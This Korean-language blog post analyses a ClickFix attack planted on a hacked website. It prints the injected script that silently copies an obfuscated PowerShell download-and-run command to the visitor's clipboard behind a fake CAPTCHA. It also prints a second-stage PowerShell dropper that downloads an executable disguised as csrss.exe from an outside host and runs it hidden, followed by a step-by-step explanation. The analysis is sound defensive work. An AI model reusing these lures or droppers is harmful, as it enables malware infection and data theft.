꿈을꾸는 파랑새

오늘은 해킹을 통해서 클릭픽스 공격을 통해서 컴퓨터 악성코드 감염 사례를 알아보겠습니다. 일단 해당 사이트는 쇼크 사이트이므로 심신 장애 및 고어 및 음란하기 때문에 접속을 권장하지 않으며 그리고 굳이 접속을 해서 악성코드 감염 시 발생을 하는 문제는 당사자 책임입니다.
일단 해당 사이트에서 해킹된 시간은 아마도 2025.6.23 01:19:45전에 해킹이 되어서 해당 사이트에서 ClickFix(클릭픽스)을 실행을 한 것 같습니다.
po-kaki-to(.)com/login(.)html
지금은 정상적인 사이트로 돌아왔기 때문에 아카리브를 바탕으로 한정적으로 분석합니다.
먼저 사이트 접속 시 당연하게 너~로봇이니 사람이니 확인하는 절차를 가지게 됩니다.
Robot or human?
Check the box to confirm that you're human.
Thank you!
그 뒤 절차는 다음과 같이 진행이 될 것입니다.

해킹 된 사이트 reCaptcha 된 모습
해킹 된 사이트 reCaptcha 된 모습

I'm not a robot
Verification Steps
1. Press + R
2. Press Ctrl + V
3. Press Enter
한마디로 체크 해주셔서 감사합니다. cmd 또는 파워셀 넣어서 복사 붙여 넣기 해주시며 악성코드 실행을 해서 당신의 정보를 털어가겠습니다. 입니다.

해킹 된 사이트 에 포함된 powershell 코드
해킹 된 사이트 에 포함된 powershell 코드

<script>
        function antibotCheck() {
          const powershellCommand = `powershell -No"P"ro"f"ile -w h -C(")o(")mmand "iex (iwr -Uri 'hxxps://s4m(")ed(")solu(")t(")ions.c(")om/jh(")bbnmo(")ihub(")njmo(.)txt' -Us"e"B(a)si"cPa"rs"i"ng)";`;
      
          copyToClipboard(powershellCommand);
      
          $('.checkbt(n)-bot').hide();
          $('.checkbox-b(o)t-load').show();
          $('.verification-(s)teps').css('display', 'flex');
      
          // Notify server (optional)
          $.post('/stuk/click');
        }
      
        function copyToC(l)ipboard(text) {
          const textarea = (d)ocument.createElement('textarea');
          document.body.append(C)hild(textarea);
          textarea(.)value = text;
          textarea(.)select();
          document(.)execCommand('copy');
          document(.)body.removeChild(textarea);
        }
    </script>
</body>

악성 코드 분석

1.antibotCheck() 함수 분석
해당 함수는 버튼 클릭 등 사용자 이벤트에 의해 호출
문자열 분석
-No(")P"ro"f"ile->-NoProfile
-w h->-WindowStyle Hidden 로 예상
-C(")o"mmand->-Command
hxxps://s4m(")ed(")solu(")t(")ions(.)c(")om/jh(")bbnmo(")ihub(")njmo(.)txt->hxxps://s4medsolutions(.)com/jhbbnmoihubnjmo(.)txt
-Us(")e(")Basi(")cPa(")rs(")i(")ng->-UseBasicParsing
복호화된 전체 명령어
powershell -NoProfile -WindowStyle H(i)dden -Command "(i)ex (iwr -Uri 'hxxps://s4medsolutions(.)com/jhbbnmoihubnjmo(.)txt -UseB(a)sicParsing)
명령어 설명
-NoProfile:PowerShell 실행 시 사용자 환경 설정 파일을 로드 하지 않음
-WindowStyle Hidden: 명령어 실행 시 창을 표시하지 않음->백그라운드 실행
-Command:뒤에 나오는 문자열을 명령어로 실행
iex (...):Invoke-Expression 문자열로 된 내용을 명령 실행
iwr -Uri ...:Invoke-WebRequest URL에서 내용 다운로드
-UseBasicParsing:IE 컴포넌트가 필요 없는 웹 요청 파서
다운로드한 코드를 즉시 메모리에서 실행
2.copyToClipboard() 함수
해당 함수는 임시 텍스트 영역을 생성하여 입력값(text)을 클립보드에 복사하는 기능을 수행함
작동 순서 방식
1.<textarea> 요소 생성
2.해당 요소 body에 추가
3. 전달받은 text 를 value에 할당
4..select() 로 텍스트 선택
5.document.execCommand(copy) 호출해서 복사 수행
6. 텍스트 영역 제거
브라우저에서 사용자가 명령어를 의도치 않게 실행하도록 유도하기 위한 전형적인 수법
3.UI 조작 파트
jQuery로 조작하는 DOM 요소
.checkbtn-bot:사용자가 누른 봇 검증 버튼을 숨김
.checkbox-bot-load:로딩 중 또는 검증 중이라는 시각적 요소 표시
.verification-steps:인증 절차 UI 표시
사용자가 정상적인 인증 과정을 거치는 것처럼 보이게 하여 의심을 줄이게 하는 시각적인 수법
4. 서버에 이벤트 전송
서버에 POST 요청을 보내 사용자 클릭 또는 복사 이벤트를 추적
/stuk/click 경로로 전송되는 정보는 쿠키 또는 IP 기반 세션
공격자로서 몇 명이 명령어 복사 버튼을 눌렀는지 추적을 하기 위한 목적!?
그리고 해당 사이트에 접속하면 다음과 같은 명령어를 볼 수가 있습니다.

실제 사이트 접속
실제 사이트 접속

악성 PowerShell 코드

$ErrorActionPreference = 'SilentlyContinue'
$ProgressPreference = 'SilentlyContinue'

function DownloadAndExecute {
    param(
        [string]$Protocol = "(h)tt(p)s://",
        [string]$IP = "www(.)haliltellioglu(.)com",
        [string]$Path = "/dns(.)pdf"
    )

    $url = $Protocol (+) $IP (+) $Path
    $tempPath = [System.IO.Path](:):Co(m)bine($env:TEMP, "csrss(.)exe")

    try {
        $webClient = New-Object System(.)Net(.)WebClient
        $webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36")
        $webClient.DownloadFile($url, $tempPath)
    }
    catch {
        try {
            $request = [System(.)Net(.)HttpWebRequest]::Create($url)
            $request.UserA(g)ent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
            $response = $requ(e)st.GetResponse()
            $stream = $response.(G)etResponseStream()
            $fileStream = [System.I(O).File]::Create($tempPath)
            $buffer = New-Object b(y)te[] 8192
            while (($read = $stream.R(e)ad($buffer, 0, $buffer.Length)) -gt 0) {
                $fileStream.Write($buff(e)r, 0, $read)
            }
            $fileStream.Close()
            $stream.Close()
            $response.Close()
        }
        catch {
            return
        }
    }

    if (Test-Path $temp(P)ath) {
        Start-Process $tem(p)Path -WindowStyle Hidden
    }
}

Set-ExecutionPolicy -Execut(i)onPolicy Bypass -S(c)ope P(r)ocess -Force
DownloadAndExecute

악성 PowerShell 코드 분석

해당 스크립트의 핵심 기능은 원격 서버에서 특정 파일을 다운로드하여 사용자 시스템의 임시 경로에 저장하고 조용히 실행하는 것이 목적 왜 사용자가 알면 안 되니까?
초기 설정 및 은폐:
$ErrorActionPreference = SilentlyContinue 와 $ProgressPreference = SilentlyContinue 설정은 스크립트 실행 중 발생할 수 있는 오류 메시지나 진행률 표시줄을 모두 숨겨서 컴퓨터, 노트북 사용자에게 어떤 작업이 진행 중인지 알려주지 않음으로써 몰래 실행을 하기 위한 목적
DownloadAndExecute 함수:
파일 다운로드 및 실행의 모든 로직 수행
기본값 hxxps://www(.)haliltellioglu(.)com/dns(.)pdf라는 URL을 사용하도록 설정
다운로드 경로 위장:다운로드된 파일은 %TEMP% 환경 변수가 가리키는 임시 폴더에 csrss.exe라는 이름으로 저장
csrss.exe는 Windows 운영체제의 합법적인 시스템 프로세스 명과 동일 실제로는 Windows의 시스템 파일로 서버와 클라이언트 PC 간의 통신을 담당하는 프로세스 즉 의심을 사는 것을 피하려고 하는 모습
실제로는 PDF 파일(.pdf)이 아니라 실행 파일(.exe)로 저장되는 점이 매우 중요
파일 다운로드 메커니즘 (두 가지 방식 시도):
스크립트는 파일을 다운로드하기 위해 두 가지 방법으로 진행
1차 시도 (WebClient):System.Net.WebClient 객체를 사용
해당 방법은 간단한 웹 요청에 유용하며 User-Agent 헤더를 일반적인 Google Chrome 브라우저처럼 설정하여 서버에 정상적인 웹 트래픽으로 위장
2차 시도 (HttpWebRequest):만약 WebClient 방식이 실패하면 더욱 저수준의 System(.)Net(.)HttpWebRequest 객체를 사용하여 재시도하며 해당 방식 역시 User-Agent를 위조하고 있으며 스트림 방식으로 데이터를 읽어와 파일에 쓰는 과정을 사용하고 있습니다. 이는 WebClient가 특정 환경에서 차단될 경우를 대비하기 위한 대비책?
두 가지 방법 모두 실패하면 함수를 즉시 종료하고 추가적인 작업을 수행하지 않음
 다운로드된 파일 실행:
파일이 성공적으로 다운로드되어 $tempPath에 존재하는 것이 확인되면 Start-Process $tempPath -WindowStyle Hidden 명령어를 사용하여 해당 파일을 실행하며
-WindowStyle Hidden 는 실행되는 프로세스의 창을 완전히 숨겨 사용자가 실행 사실을 알지 못하게 수정을 하며 이는 악성 코드가 사용자 몰래 백그라운드에서 악의적인 행동을 하기 위한 전략
실행 정책 우회:
스크립트 시작 부분에 있는 Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force 명령어
현재 PowerShell 세션에 한해 스크립트 실행 제한을 해제
서명되지 않거나 신뢰할 수 없는 스크립트도 경고 없이 실행될 수 있도록 강제
즉 이렇게 해서 악성코드를 실행해서 개인정보를 털어가는 방법을 사용하고 있으며 웹사이트 관리하시는 분들은 이런 공격도 가능하기 때문에 항상 조심을 하는 것을 권장합니다

공유하기

facebook twitter kakaoTalk kakaostory naver band